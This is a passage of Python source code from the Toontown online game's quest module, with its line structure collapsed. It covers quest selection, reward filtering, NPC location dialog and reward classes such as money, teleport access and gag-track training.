'findFinalRewardId: Quest ID: %d not found' % questId return -1 nextQuestId = questDesc[QuestDictNextQuestIndex] if nextQuestId == NA: finalRewardId = questDesc[QuestDictRewardIndex] remainingSteps = 1 else: if type(nextQuestId) == type(()): finalRewardId, remainingSteps = findFinalRewardId(nextQuestId[0]) for id in nextQuestId[1:]: findFinalRewardId(id) else: finalRewardId, remainingSteps = findFinalRewardId(nextQuestId) remainingSteps += 1 if finalRewardId != OBSOLETE: if questDesc[QuestDictStartIndex] == Start: tier = questDesc[QuestDictTierIndex] tier2RewardDict = Tier2Reward2QuestsDict.setdefault(tier, {}) rewardIds = getAllRewardIdsForReward(finalRewardId) for rewardId in rewardIds: questList = tier2RewardDict.setdefault(rewardId, []) questList.append(questId) else: finalRewardId = None Quest2RewardDict[questId] = finalRewardId Quest2RemainingStepsDict[questId] = remainingSteps return (finalRewardId, remainingSteps) for questId in QuestDict.keys(): findFinalRewardId(questId) def getStartingQuests(tier = None): startingQuests = [] for questId in QuestDict.keys(): if isStartingQuest(questId): if tier is None: startingQuests.append(questId) elif questId in Tier2QuestsDict[tier]: startingQuests.append(questId) startingQuests.sort() return startingQuests def getFinalRewardId(questId, fAll = 0): if fAll or isStartingQuest(questId): return Quest2RewardDict.get(questId) else: return None return None def isStartingQuest(questId): try: return QuestDict[questId][QuestDictStartIndex] == Start except KeyError: return None return None def getNumChoices(tier): if tier in (0,): return 0 if tier in (1,): return 2 else: return 3 def getAvatarRewardId(av, questId): for quest in av.quests: if questId == quest[0]: return quest[3] notify.warning('getAvatarRewardId(): quest not found on avatar') return None def getNextQuest(id, currentNpc, av): nextQuest = QuestDict[id][QuestDictNextQuestIndex] if nextQuest == NA: return (NA, NA) elif type(nextQuest) == type(()): nextReward = QuestDict[nextQuest[0]][QuestDictRewardIndex] nextNextQuest, nextNextToNpcId = getNextQuest(nextQuest[0], currentNpc, av) nextQuest = random.choice(nextQuest) if not getQuestClass(nextQuest).filterFunc(av): return getNextQuest(nextQuest, currentNpc, av) nextToNpcId = getQuestToNpcId(nextQuest) if nextToNpcId == Any: nextToNpcId = 2004 elif nextToNpcId == Same: if currentNpc.getHq(): nextToNpcId = ToonHQ else: nextToNpcId = currentNpc.getNpcId() elif nextToNpcId == ToonHQ: nextToNpcId = ToonHQ return (nextQuest, nextToNpcId) def filterQuests(entireQuestPool, currentNpc, av): if notify.getDebug(): notify.debug('filterQuests: entireQuestPool: %s' % entireQuestPool) validQuestPool = dict([ (questId, 1) for questId in entireQuestPool ]) if isLoopingFinalTier(av.getRewardTier()): history = map(lambda questDesc: questDesc[0], av.quests) else: history = av.getQuestHistory() if notify.getDebug(): notify.debug('filterQuests: av quest history: %s' % history) currentQuests = av.quests for questId in entireQuestPool: if questId in history: if notify.getDebug(): notify.debug('filterQuests: Removed %s because in history' % questId) validQuestPool[questId] = 0 continue potentialFromNpc = getQuestFromNpcId(questId) if not npcMatches(potentialFromNpc, currentNpc): if notify.getDebug(): notify.debug('filterQuests: Removed %s: potentialFromNpc does not match currentNpc' % questId) validQuestPool[questId] = 0 continue potentialToNpc = getQuestToNpcId(questId) if currentNpc.getNpcId() == potentialToNpc: if notify.getDebug(): notify.debug('filterQuests: Removed %s because potentialToNpc is currentNpc' % questId) validQuestPool[questId] = 0 continue if not getQuestClass(questId).filterFunc(av): if notify.getDebug(): notify.debug('filterQuests: Removed %s because of filterFunc' % questId) validQuestPool[questId] = 0 continue for quest in currentQuests: fromNpcId = quest[1] toNpcId = quest[2] if potentialToNpc == toNpcId and toNpcId != ToonHQ: validQuestPool[questId] = 0 if notify.getDebug(): notify.debug('filterQuests: Removed %s because npc involved' % questId) break finalQuestPool = filter(lambda key: validQuestPool[key], validQuestPool.keys()) if notify.getDebug(): notify.debug('filterQuests: finalQuestPool: %s' % finalQuestPool) return finalQuestPool def chooseTrackChoiceQuest(tier, av, fixed = 0): def fixAndCallAgain(): if not fixed and av.fixTrackAccess(): notify.info('av %s trackAccess fixed: %s' % (av.getDoId(), trackAccess)) return chooseTrackChoiceQuest(tier, av, fixed=1) else: return None return None bestQuest = None trackAccess = av.getTrackAccess() if tier == DG_TIER: if trackAccess[ToontownBattleGlobals.HEAL_TRACK] == 1: bestQuest = 4002 elif trackAccess[ToontownBattleGlobals.SOUND_TRACK] == 1: bestQuest = 4001 else: notify.warning('av %s has bogus trackAccess: %s' % (av.getDoId(), trackAccess)) return fixAndCallAgain() elif tier == BR_TIER: if trackAccess[ToontownBattleGlobals.TRAP_TRACK] == 1: if trackAccess[ToontownBattleGlobals.SOUND_TRACK] == 1: if trackAccess[ToontownBattleGlobals.DROP_TRACK] == 1: bestQuest = 5004 elif trackAccess[ToontownBattleGlobals.LURE_TRACK] == 1: bestQuest = 5003 else: notify.warning('av %s has bogus trackAccess: %s' % (av.getDoId(), trackAccess)) return fixAndCallAgain() elif trackAccess[ToontownBattleGlobals.HEAL_TRACK] == 1: if trackAccess[ToontownBattleGlobals.DROP_TRACK] == 1: bestQuest = 5002 elif trackAccess[ToontownBattleGlobals.LURE_TRACK] == 1: bestQuest = 5001 else: notify.warning('av %s has bogus trackAccess: %s' % (av.getDoId(), trackAccess)) return fixAndCallAgain() elif trackAccess[ToontownBattleGlobals.SOUND_TRACK] == 0: bestQuest = 5005 elif trackAccess[ToontownBattleGlobals.HEAL_TRACK] == 0: bestQuest = 5006 elif trackAccess[ToontownBattleGlobals.DROP_TRACK] == 0: bestQuest = 5007 elif trackAccess[ToontownBattleGlobals.LURE_TRACK] == 0: bestQuest = 5008 else: notify.warning('av %s has bogus trackAccess: %s' % (av.getDoId(), trackAccess)) return fixAndCallAgain() else: if notify.getDebug(): notify.debug('questPool for reward 400 had no dynamic choice, tier: %s' % tier) bestQuest = seededRandomChoice(Tier2Reward2QuestsDict[tier][400]) if notify.getDebug(): notify.debug('chooseTrackChoiceQuest: avId: %s trackAccess: %s tier: %s bestQuest: %s' % (av.getDoId(), trackAccess, tier, bestQuest)) return bestQuest def chooseMatchingQuest(tier, validQuestPool, rewardId, npc, av): questsMatchingReward = Tier2Reward2QuestsDict[tier].get(rewardId, []) if notify.getDebug(): notify.debug('questsMatchingReward: %s tier: %s = %s' % (rewardId, tier, questsMatchingReward)) else: validQuestsMatchingReward = PythonUtil.intersection(questsMatchingReward, validQuestPool) if notify.getDebug(): notify.debug('validQuestsMatchingReward: %s tier: %s = %s' % (rewardId, tier, validQuestsMatchingReward)) if validQuestsMatchingReward: bestQuest = seededRandomChoice(validQuestsMatchingReward) else: questsMatchingReward = Tier2Reward2QuestsDict[tier].get(AnyCashbotSuitPart, []) if notify.getDebug(): notify.debug('questsMatchingReward: AnyCashbotSuitPart tier: %s = %s' % (tier, questsMatchingReward)) validQuestsMatchingReward = PythonUtil.intersection(questsMatchingReward, validQuestPool) if validQuestsMatchingReward: if notify.getDebug(): notify.debug('validQuestsMatchingReward: AnyCashbotSuitPart tier: %s = %s' % (tier, validQuestsMatchingReward)) bestQuest = seededRandomChoice(validQuestsMatchingReward) else: questsMatchingReward = Tier2Reward2QuestsDict[tier].get(AnyLawbotSuitPart, []) if notify.getDebug(): notify.debug('questsMatchingReward: AnyLawbotSuitPart tier: %s = %s' % (tier, questsMatchingReward)) validQuestsMatchingReward = PythonUtil.intersection(questsMatchingReward, validQuestPool) if validQuestsMatchingReward: if notify.getDebug(): notify.debug('validQuestsMatchingReward: AnyLawbotSuitPart tier: %s = %s' % (tier, validQuestsMatchingReward)) bestQuest = seededRandomChoice(validQuestsMatchingReward) else: questsMatchingReward = Tier2Reward2QuestsDict[tier].get(Any, []) if notify.getDebug(): notify.debug('questsMatchingReward: Any tier: %s = %s' % (tier, questsMatchingReward)) if not questsMatchingReward: notify.warning('chooseMatchingQuests, no questsMatchingReward') return None validQuestsMatchingReward = PythonUtil.intersection(questsMatchingReward, validQuestPool) if not validQuestsMatchingReward: notify.warning('chooseMatchingQuests, no validQuestsMatchingReward') return None if notify.getDebug(): notify.debug('validQuestsMatchingReward: Any tier: %s = %s' % (tier, validQuestsMatchingReward)) bestQuest = seededRandomChoice(validQuestsMatchingReward) return bestQuest def transformReward(baseRewardId, av): if baseRewardId == 900: trackId, progress = av.getTrackProgress() if trackId == -1: notify.warning('transformReward: asked to transform 900 but av is not training') actualRewardId = baseRewardId else: actualRewardId = 900 + 1 + trackId return actualRewardId elif baseRewardId > 800 and baseRewardId < 900: trackId, progress = av.getTrackProgress() if trackId < 0: notify.warning('transformReward: av: %s is training a track with none chosen!' % av.getDoId()) return 601 else: actualRewardId = baseRewardId + 200 + trackId * 100 return actualRewardId else: return baseRewardId def chooseBestQuests(tier, currentNpc, av): if isLoopingFinalTier(tier): rewardHistory = map(lambda questDesc: questDesc[3], av.quests) else: rewardHistory = av.getRewardHistory()[1] seedRandomGen(currentNpc.getNpcId(), av.getDoId(), tier, rewardHistory) numChoices = getNumChoices(tier) rewards = getNextRewards(numChoices, tier, av) if not rewards: return [] possibleQuests = [] possibleRewards = list(rewards) if Any not in possibleRewards: possibleRewards.append(Any) for rewardId in possibleRewards: possibleQuests.extend(Tier2Reward2QuestsDict[tier].get(rewardId, [])) validQuestPool = filterQuests(possibleQuests, currentNpc, av) if not validQuestPool: return [] if numChoices == 0: numChoices = 1 bestQuests = [] for i in range(numChoices): if len(validQuestPool) == 0: break if len(rewards) == 0: break rewardId = rewards.pop(0) bestQuestId = chooseMatchingQuest(tier, validQuestPool, rewardId, currentNpc, av) if bestQuestId is None: continue validQuestPool.remove(bestQuestId) bestQuestToNpcId = getQuestToNpcId(bestQuestId) if bestQuestToNpcId == Any: bestQuestToNpcId = 2003 elif bestQuestToNpcId == Same: if currentNpc.getHq(): bestQuestToNpcId = ToonHQ else: bestQuestToNpcId = currentNpc.getNpcId() elif bestQuestToNpcId == ToonHQ: bestQuestToNpcId = ToonHQ bestQuests.append([bestQuestId, rewardId, bestQuestToNpcId]) for quest in bestQuests: quest[1] = transformReward(quest[1], av) return bestQuests def questExists(id): return QuestDict.has_key(id) def getQuest(id): questEntry = QuestDict.get(id) if questEntry: questDesc = questEntry[QuestDictDescIndex] questClass = questDesc[0] return questClass(id, questDesc[1:]) else: return None return None def getQuestExp(id): questEntry = QuestDict.get(id) if questEntry: try: questExp = questEntry[QuestDictExperienceIndex] return questExp except: questTier = questEntry[QuestDictTierIndex] if questTier >= TT_TIER and questTier < DD_TIER: return 80 elif questTier >= DD_TIER and questTier < DG_TIER: return 200 elif questTier >= DG_TIER and questTier < MM_TIER: return 300 elif questTier >= MM_TIER and questTier < BR_TIER: return 500 elif questTier >= BR_TIER and questTier < DL_TIER: return 800 elif questTier >= DL_TIER and questTier < ELDER_TIER: return 1500 elif questTier == ELDER_TIER: return 2500 else: return 0 else: return None return None def getQuestClass(id): questEntry = QuestDict.get(id) if questEntry: return questEntry[QuestDictDescIndex][0] else: return None return None def getVisitSCStrings(npcId): if npcId == ToonHQ: strings = [TTLocalizer.QuestsRecoverItemQuestSeeHQSCString, TTLocalizer.QuestsRecoverItemQuestGoToHQSCString] elif npcId == ToonTailor: strings = [TTLocalizer.QuestsTailorQuestSCString] elif npcId: npcName, hoodName, buildingArticle, buildingName, toStreet, streetName, isInPlayground = getNpcInfo(npcId) strings = [TTLocalizer.QuestsVisitQuestSeeSCString % npcName] if isInPlayground: strings.append(TTLocalizer.QuestsRecoverItemQuestGoToPlaygroundSCString % hoodName) else: strings.append(TTLocalizer.QuestsRecoverItemQuestGoToStreetSCString % {'to': toStreet, 'street': streetName, 'hood': hoodName}) strings.extend([TTLocalizer.QuestsRecoverItemQuestVisitBuildingSCString % (buildingArticle, buildingName), TTLocalizer.QuestsRecoverItemQuestWhereIsBuildingSCString % (buildingArticle, buildingName)]) return strings def getFinishToonTaskSCStrings(npcId): return [TTLocalizer.QuestsGenericFinishSCString] + getVisitSCStrings(npcId) def chooseQuestDialog(id, status): questDialog = getQuestDialog(id).get(status) if questDialog == None: if status == QUEST: quest = getQuest(id) questDialog = quest.getDefaultQuestDialog() else: questDialog = DefaultDialog[status] if type(questDialog) == type(()): return random.choice(questDialog) else: return questDialog return def chooseQuestDialogReject(): return random.choice(DefaultReject) def chooseQuestDialogTierNotDone(): return random.choice(DefaultTierNotDone) def getNpcInfo(npcId): npcName = NPCToons.getNPCName(npcId) npcZone = NPCToons.getNPCZone(npcId) hoodId = ZoneUtil.getCanonicalHoodId(npcZone) hoodName = base.cr.hoodMgr.getFullnameFromId(hoodId) buildingArticle = NPCToons.getBuildingArticle(npcZone) buildingName = NPCToons.getBuildingTitle(npcZone) branchId = ZoneUtil.getCanonicalBranchZone(npcZone) toStreet = ToontownGlobals.StreetNames[branchId][0] streetName = ToontownGlobals.StreetNames[branchId][-1] isInPlayground = ZoneUtil.isPlayground(branchId) return (npcName, hoodName, buildingArticle, buildingName, toStreet, streetName, isInPlayground) def getNpcLocationDialog(fromNpcId, toNpcId): if not toNpcId: return (None, None, None) fromNpcZone = None fromBranchId = None if fromNpcId: fromNpcZone = NPCToons.getNPCZone(fromNpcId) fromBranchId = ZoneUtil.getCanonicalBranchZone(fromNpcZone) toNpcZone = NPCToons.getNPCZone(toNpcId) toBranchId = ZoneUtil.getCanonicalBranchZone(toNpcZone) toNpcName, toHoodName, toBuildingArticle, toBuildingName, toStreetTo, toStreetName, isInPlayground = getNpcInfo(toNpcId) if fromBranchId == toBranchId: if isInPlayground: streetDesc = TTLocalizer.QuestsStreetLocationThisPlayground else: streetDesc = TTLocalizer.QuestsStreetLocationThisStreet elif isInPlayground: streetDesc = TTLocalizer.QuestsStreetLocationNamedPlayground % toHoodName else: streetDesc = TTLocalizer.QuestsStreetLocationNamedStreet % {'toStreetName': toStreetName, 'toHoodName': toHoodName} paragraph = TTLocalizer.QuestsLocationParagraph % {'building': TTLocalizer.QuestsLocationBuilding % toNpcName, 'buildingName': toBuildingName, 'buildingVerb': TTLocalizer.QuestsLocationBuildingVerb, 'street': streetDesc} return (paragraph, toBuildingName, streetDesc) def fillInQuestNames(text, avName = None, fromNpcId = None, toNpcId = None): text = copy.deepcopy(text) if avName != None: text = text.replace('_avName_', avName) if toNpcId: if toNpcId == ToonHQ: toNpcName = TTLocalizer.QuestsHQOfficerFillin where = TTLocalizer.QuestsHQWhereFillin buildingName = TTLocalizer.QuestsHQBuildingNameFillin streetDesc = TTLocalizer.QuestsHQLocationNameFillin elif toNpcId == ToonTailor: toNpcName = TTLocalizer.QuestsTailorFillin where = TTLocalizer.QuestsTailorWhereFillin buildingName = TTLocalizer.QuestsTailorBuildingNameFillin streetDesc = TTLocalizer.QuestsTailorLocationNameFillin else: toNpcName = str(NPCToons.getNPCName(toNpcId)) where, buildingName, streetDesc = getNpcLocationDialog(fromNpcId, toNpcId) text = text.replace('_toNpcName_', toNpcName) text = text.replace('_where_', where) text = text.replace('_buildingName_', buildingName) text = text.replace('_streetDesc_', streetDesc) return text def getVisitingQuest(): return VisitQuest(VISIT_QUEST_ID) class Reward: def __init__(self, id, reward): self.id = id self.reward = reward def getId(self): return self.id def getType(self): return self.__class__ def getAmount(self): return None def sendRewardAI(self, av): raise 'not implemented' def countReward(self, qrc): raise 'not implemented' def getString(self): return 'undefined' def getPosterString(self): return 'base class' class MaxHpReward(Reward): def __init__(self, id, reward): Reward.__init__(self, id, reward) def getAmount(self): return self.reward[0] def sendRewardAI(self, av): maxHp = av.getMaxHp() maxHp = min(ToontownGlobals.MaxHpLimit, maxHp + self.getAmount()) av.b_setMaxHp(maxHp) av.toonUp(maxHp) def countReward(self, qrc): qrc.maxHp += self.getAmount() def getString(self): return TTLocalizer.QuestsMaxHpReward % self.getAmount() def getPosterString(self): return TTLocalizer.QuestsMaxHpRewardPoster % self.getAmount() class MoneyReward(Reward): def __init__(self, id, reward): Reward.__init__(self, id, reward) def getAmount(self): return self.reward[0] def sendRewardAI(self, av): money = av.getMoney() maxMoney = av.getMaxMoney() av.addMoney(self.getAmount()) def countReward(self, qrc): qrc.money += self.getAmount() def getString(self): amt = self.getAmount() if amt == 1: return TTLocalizer.QuestsMoneyRewardSingular else: return TTLocalizer.QuestsMoneyRewardPlural % amt def getPosterString(self): amt = self.getAmount() if amt == 1: return TTLocalizer.QuestsMoneyRewardPosterSingular else: return TTLocalizer.QuestsMoneyRewardPosterPlural % amt class MaxMoneyReward(Reward): def __init__(self, id, reward): Reward.__init__(self, id, reward) def getAmount(self): return self.reward[0] def sendRewardAI(self, av): av.b_setMaxMoney(self.getAmount()) def countReward(self, qrc): qrc.maxMoney = self.getAmount() def getString(self): amt = self.getAmount() if amt == 1: return TTLocalizer.QuestsMaxMoneyRewardSingular else: return TTLocalizer.QuestsMaxMoneyRewardPlural % amt def getPosterString(self): amt = self.getAmount() if amt == 1: return TTLocalizer.QuestsMaxMoneyRewardPosterSingular else: return TTLocalizer.QuestsMaxMoneyRewardPosterPlural % amt class MaxGagCarryReward(Reward): def __init__(self, id, reward): Reward.__init__(self, id, reward) def getAmount(self): return self.reward[0] def getName(self): return self.reward[1] def sendRewardAI(self, av): av.b_setMaxCarry(self.getAmount()) def countReward(self, qrc): qrc.maxCarry = self.getAmount() def getString(self): name = self.getName() amt = self.getAmount() return TTLocalizer.QuestsMaxGagCarryReward % {'name': name, 'num': amt} def getPosterString(self): name = self.getName() amt = self.getAmount() return TTLocalizer.QuestsMaxGagCarryRewardPoster % {'name': name, 'num': amt} class MaxQuestCarryReward(Reward): def __init__(self, id, reward): Reward.__init__(self, id, reward) def getAmount(self): return self.reward[0] def sendRewardAI(self, av): av.b_setQuestCarryLimit(self.getAmount()) def countReward(self, qrc): qrc.questCarryLimit = self.getAmount() def getString(self): amt = self.getAmount() return TTLocalizer.QuestsMaxQuestCarryReward % amt def getPosterString(self): amt = self.getAmount() return TTLocalizer.QuestsMaxQuestCarryRewardPoster % amt class TeleportReward(Reward): def __init__(self, id, reward): Reward.__init__(self, id, reward) def getZone(self): return self.reward[0] def sendRewardAI(self, av): av.addTeleportAccess(self.getZone()) def countReward(self, qrc): qrc.addTeleportAccess(self.getZone()) def getString(self): hoodName = ToontownGlobals.hoodNameMap[self.getZone()][-1] return TTLocalizer.QuestsTeleportReward % hoodName def getPosterString(self): hoodName = ToontownGlobals.hoodNameMap[self.getZone()][-1] return TTLocalizer.QuestsTeleportRewardPoster % hoodName TrackTrainingQuotas = {ToontownBattleGlobals.HEAL_TRACK: 15, ToontownBattleGlobals.TRAP_TRACK: 15, ToontownBattleGlobals.LURE_TRACK: 15, ToontownBattleGlobals.SOUND_TRACK: 15, ToontownBattleGlobals.THROW_TRACK: 15, ToontownBattleGlobals.SQUIRT_TRACK: 15, ToontownBattleGlobals.ZAP_TRACK: 15, ToontownBattleGlobals.DROP_TRACK: 15} class TrackTrainingReward(Reward): def __init__(self, id, reward): Reward.__init__(self, id, reward) def getTrack(self): track = self.reward[0] if track == None: track = 0 return track def sendRewardAI(self, av): av.b_setTrackProgress(self.getTrack(), 0) def countReward(self, qrc): qrc.trackProgressId = self.getTrack() qrc.trackProgress = 0 def getString(self): trackName = ToontownBattleGlobals.Tracks[self.getTrack()].capitalize() return TTLocalizer.QuestsTrackTrainingReward % trackName def getPosterString(self): return TTLocalizer.QuestsTrackTrainingRewardPoster class TrackProgressReward(Reward): def __init__(self, id, reward): Reward.__init__(self, id, reward) def getTrack(self): track = self.reward[0] if track == None: track = 0 return track def getProgressIndex(self): return self.reward[1] def sendRewardAI(self, av): av.addTrackProgress(self.getTrack(), self.getProgressIndex()) def countReward(self, qrc): qrc.addTrackProgress(self.getTrack(), self.getProgressIndex()) def getString(self): trackName = ToontownBattleGlobals.Tracks[self.getTrack()].capitalize() return TTLocalizer.QuestsTrackProgressReward % {'frameNum': self.getProgressIndex(), 'trackName': trackName} def getPosterString(self): trackName = ToontownBattleGlobals.Tracks[self.getTrack()].capitalize() return TTLocalizer.QuestsTrackProgressRewardPoster % {'trackName': trackName, 'frameNum': self.getProgressIndex()} class TrackCompleteReward(Reward): def __init__(self, id, reward): Reward.__init__(self, id, reward) def getTrack(self): track = self.reward[0] if track == None: track = 0 return track def sendRewardAI(self, av): av.addTrackAccess(self.getTrack()) av.clearTrackProgress() def countReward(self, qrc): qrc.addTrackAccess(self.getTrack()) qrc.clearTrackProgress() def getString(self): trackName = ToontownBattleGlobals.Tracks[self.getTrack()].capitalize() return TTLocalizer.QuestsTrackCompleteReward % trackName def getPosterString(self): trackName = ToontownBattleGlobals.Tracks[self.getTrack()].capitalize() return TTLocalizer.QuestsTrackCompleteRewardPoster % trackName class ClothingTicketReward(Reward): def __init__(self, id, reward): Reward.__init__(self, id, reward) def sendRewardAI(self, av): pass def countReward(self, qrc): pass def getString(self): return TTLocalizer.QuestsClothingTicketReward def getPosterString(self): return TTLocalizer.QuestsClothingTicketRewardPoster class TIPClothingTicketReward(ClothingTicketReward): def __init__(self, id, reward): ClothingTicketReward.__init__(self, id, reward) def getString(self): return TTLocalizer.TIPQuestsClothingTicketReward def getPosterString(self): return TTLocalizer.TIPQuestsClothingTicketRewardPoster class CheesyEffectReward(Reward): def __init__(self, id, reward): Reward.__init__(self, id, reward) def getEffect(self): return self.reward[0] def getHoodId(self): return self.reward[1] def getDurationMinutes(self): return self.reward[2] def sendRewardAI(self, av): expireTime = time.time() + int(self.getDurationMinutes()*60) if not self.getEffect() in av.getCheesyEffects(): av.cheesyEffects.append(self.getEffect()) av.b_setCheesyEffects(av.getCheesyEffects()) def countReward(self, qrc): pass def getString(self): effect = self.getEffect() hoodId = self.getHoodId() duration = self.getDurationMinutes() string = TTLocalizer.CheesyEffectMinutes if duration > 90: duration = int((duration + 30) / 60) string = TTLocalizer.CheesyEffectHours if duration > 36: duration = int((duration + 12) / 24) string = TTLocalizer.CheesyEffectDays if effect == 77: effect = 12 desc = TTLocalizer.CheesyEffectDescriptions[effect][1] return TTLocalizer.CheesyEffectIndefinite % {'effectName': desc} def getPosterString(self): effect = self.getEffect() if effect == 77: effect = 12 desc = TTLocalizer.CheesyEffectDescriptions[effect][0] return TTLocalizer.QuestsCheesyEffectRewardPoster % desc class CogSuitPartReward(Reward): trackNames = [TTLocalizer.Bossbot, TTLocalizer.Lawbot, TTLocalizer.Cashbot, TTLocalizer.Sellbot] def __init__(self, id, reward): Reward.__init__(self, id, reward) def getCogTrack(self): return self.reward[0] def getCogPart(self): return self.reward[1] def sendRewardAI(self, av): dept = self.getCogTrack() part = self.getCogPart() av.giveCogPart(part, dept) def countReward(self, qrc): pass def getCogTrackName(self): index = ToontownGlobals.cogDept2index[self.getCogTrack()] return CogSuitPartReward.trackNames[index] def getCogPartName(self): index = ToontownGlobals.cogDept2index[self.getCogTrack()] return CogDisguiseGlobals.PartsQueryNames[index][self.getCogPart()] def getString(self): return TTLocalizer.QuestsCogSuitPartReward % {'cogTrack': self.getCogTrackName(), 'part': self.getCogPartName()} def getPosterString(self): return TTLocalizer.QuestsCogSuitPartRewardPoster % {'cogTrack': self.getCogTrackName(), 'part': self.getCogPartName()} def getRewardClass(id): reward = RewardDict.get(id) if reward: return reward[0] else: return None return None def getReward(id): reward = RewardDict.get(id) if reward: rewardClass = reward[0] return rewardClass(id, reward[1:]) else: notify.warning('getReward(): id %s not found.' % id) return None def getNextRewards(numChoices, tier, av): rewardTier = list(getRewardsInTier(tier)) optRewards = list(getOptionalRewardsInTier(tier)) if av.getGameAccess() == OTPGlobals.AccessFull and tier == TT_TIER + 3: optRewards = [] if isLoopingFinalTier(tier): rewardHistory = map(lambda questDesc: questDesc[3], av.quests) if notify.getDebug(): notify.debug('getNextRewards: current rewards (history): %s' % rewardHistory) else: rewardHistory = av.getRewardHistory()[1] if notify.getDebug(): notify.debug('getNextRewards: rewardHistory: %s' % rewardHistory) if notify.getDebug(): notify.debug('getNextRewards: rewardTier: %s' % rewardTier) notify.debug('getNextRewards: numChoices: %s' % numChoices) for rewardId in getRewardsInTier(tier): if getRewardClass(rewardId) == CogSuitPartReward: deptStr = RewardDict.get(rewardId)[1] cogPart = RewardDict.get(rewardId)[2] dept = ToontownGlobals.cogDept2index[deptStr] if av.hasCogPart(cogPart, dept): notify.debug('getNextRewards: already has cog part: %s dept: %s' % (cogPart, dept)) rewardTier.remove(rewardId) else: notify.debug('getNextRewards: keeping quest for cog part: %s dept: %s' % (cogPart, dept)) for rewardId in rewardHistory: if rewardId in rewardTier: rewardTier.remove(rewardId) elif rewardId in optRewards: optRewards.remove(rewardId) elif rewardId in (901, 902, 903, 904, 905, 906, 907, 908): genericRewardId = 900 if genericRewardId in rewardTier: rewardTier.remove(genericRewardId) elif rewardId > 1000 and rewardId < 1799: index = rewardId % 100 genericRewardId = 800 + index if genericRewardId in rewardTier: rewardTier.remove(genericRewardId) if numChoices == 0: if len(rewardTier) == 0: return [] else: return [rewardTier[0]] rewardPool = rewardTier[:numChoices] for i in range(len(rewardPool), numChoices * 2): if optRewards: optionalReward = seededRandomChoice(optRewards) optRewards.remove(optionalReward) rewardPool.append(optionalReward) else: break if notify.getDebug(): notify.debug('getNextRewards: starting reward pool: %s' % rewardPool) if len(rewardPool) == 0: if notify.getDebug(): notify.debug('getNextRewards: no rewards left at all') return [] finalRewardPool = [rewardPool.pop(0)] for i in range(numChoices - 1): if len(rewardPool) == 0: break selectedReward = seededRandomChoice(rewardPool) rewardPool.remove(selectedReward) finalRewardPool.append(selectedReward) if notify.getDebug(): notify.debug('getNextRewards: final reward pool: %s' % finalRewardPool) return finalRewardPool RewardDict = {100: (MaxHpReward, 1), 101: (MaxHpReward, 2), 102: (MaxHpReward, 3), 103: (MaxHpReward, 4), 104: (MaxHpReward, 5), 105: (MaxHpReward, 6), 106: (MaxHpReward, 7), 107: (MaxHpReward, 8), 108: (MaxHpReward, 9), 109: (MaxHpReward, 10), 200: (MaxGagCarryReward, 25, TTLocalizer.QuestsMediumPouch), 201: (MaxGagCarryReward, 30, TTLocalizer.QuestsLargePouch), 202: (MaxGagCarryReward, 35, TTLocalizer.QuestsSmallBag), 203: (MaxGagCarryReward, 40, TTLocalizer.QuestsMediumBag), 204: (MaxGagCarryReward, 50, TTLocalizer.QuestsLargeBag), 205: (MaxGagCarryReward, 60, TTLocalizer.QuestsSmallBackpack), 206: (MaxGagCarryReward, 70, TTLocalizer.QuestsMediumBackpack), 207: (MaxGagCarryReward, 80, TTLocalizer.QuestsLargeBackpack), 300: (TeleportReward, ToontownGlobals.ToontownCentral), 301: (TeleportReward, ToontownGlobals.DonaldsDock), 302: (TeleportReward, ToontownGlobals.DaisyGardens), 303: (TeleportReward, ToontownGlobals.MinniesMelodyland), 304: (TeleportReward, ToontownGlobals.TheBrrrgh), 305: (TeleportReward, ToontownGlobals.DonaldsDreamland), 306: (TeleportReward, ToontownGlobals.SellbotHQ), 307: (TeleportReward, ToontownGlobals.CashbotHQ), 308: (TeleportReward, ToontownGlobals.LawbotHQ), 309: (TeleportReward, ToontownGlobals.BossbotHQ), 400: (TrackTrainingReward, None), 401: (TrackTrainingReward, ToontownBattleGlobals.HEAL_TRACK), 402: (TrackTrainingReward, ToontownBattleGlobals.TRAP_TRACK), 403: (TrackTrainingReward, ToontownBattleGlobals.LURE_TRACK), 404: (TrackTrainingReward, ToontownBattleGlobals.SOUND_TRACK), 405: (TrackTrainingReward, ToontownBattleGlobals.THROW_TRACK), 406: (TrackTrainingReward, ToontownBattleGlobals.SQUIRT_TRACK), 407: (TrackTrainingReward, ToontownBattleGlobals.ZAP_TRACK), 408: (TrackTrainingReward, ToontownBattleGlobals.DROP_TRACK), 500: (MaxQuestCarryReward, 2), 501: (MaxQuestCarryReward, 3), 502: (MaxQuestCarryReward, 4), 600: (MoneyReward, 10), 601: (MoneyReward, 20), 602: (MoneyReward, 40), 603: (MoneyReward, 60), 604: (MoneyReward, 100), 605: (MoneyReward, 150), 606: (MoneyReward, 200), 607: (MoneyReward, 250), 608: (MoneyReward, 300), 609: (MoneyReward, 400), 610: (MoneyReward, 500), 611: (MoneyReward, 600), 612: (MoneyReward, 700), 613: (MoneyReward, 800), 614: (MoneyReward, 900), 615: (MoneyReward, 1000), 616: (MoneyReward, 1100), 617: (MoneyReward, 1200), 618: (MoneyReward, 1300), 619: (MoneyReward, 1400), 620: (MoneyReward, 1500), 621: (MoneyReward, 1750), 622: (MoneyReward, 2000), 623: (MoneyReward, 2500), 700: (MaxMoneyReward, 50), 701: (MaxMoneyReward, 60), 702: (MaxMoneyReward, 80), 703: (MaxMoneyReward, 100), 704: (MaxMoneyReward, 120), 705: (MaxMoneyReward, 150), 706: (MaxMoneyReward, 200), 707: (MaxMoneyReward, 250), 801: (TrackProgressReward, None, 1), 802: (TrackProgressReward, None, 2), 803: (TrackProgressReward, None, 3), 804: (TrackProgressReward, None, 4), 805: (TrackProgressReward, None, 5), 806: (TrackProgressReward, None, 6), 807: (TrackProgressReward, None, 7), 808: (TrackProgressReward, None, 8), 809: (TrackProgressReward, None, 9), 810: (TrackProgressReward, None, 10), 811: (TrackProgressReward, None, 11), 812: (TrackProgressReward, None, 12), 813: (TrackProgressReward, None, 13), 814: (TrackProgressReward, None, 14), 815: (TrackProgressReward, None, 15), 110: (TIPClothingTicketReward,), 1000: (ClothingTicketReward,), 1001: (TrackProgressReward, ToontownBattleGlobals.HEAL_TRACK, 1), 1002: (TrackProgressReward, ToontownBattleGlobals.HEAL_TRACK, 2), 1003: (TrackProgressReward, ToontownBattleGlobals.HEAL_TRACK, 3), 1004: (TrackProgressReward, ToontownBattleGlobals.HEAL_TRACK, 4), 1005: (TrackProgressReward, ToontownBattleGlobals.HEAL_TRACK, 5), 1006: (TrackProgressReward, ToontownBattleGlobals.HEAL_TRACK, 6), 1007: (TrackProgressReward, ToontownBattleGlobals.HEAL_TRACK, 7), 1008: (TrackProgressReward, ToontownBattleGlobals.HEAL_TRACK, 8), 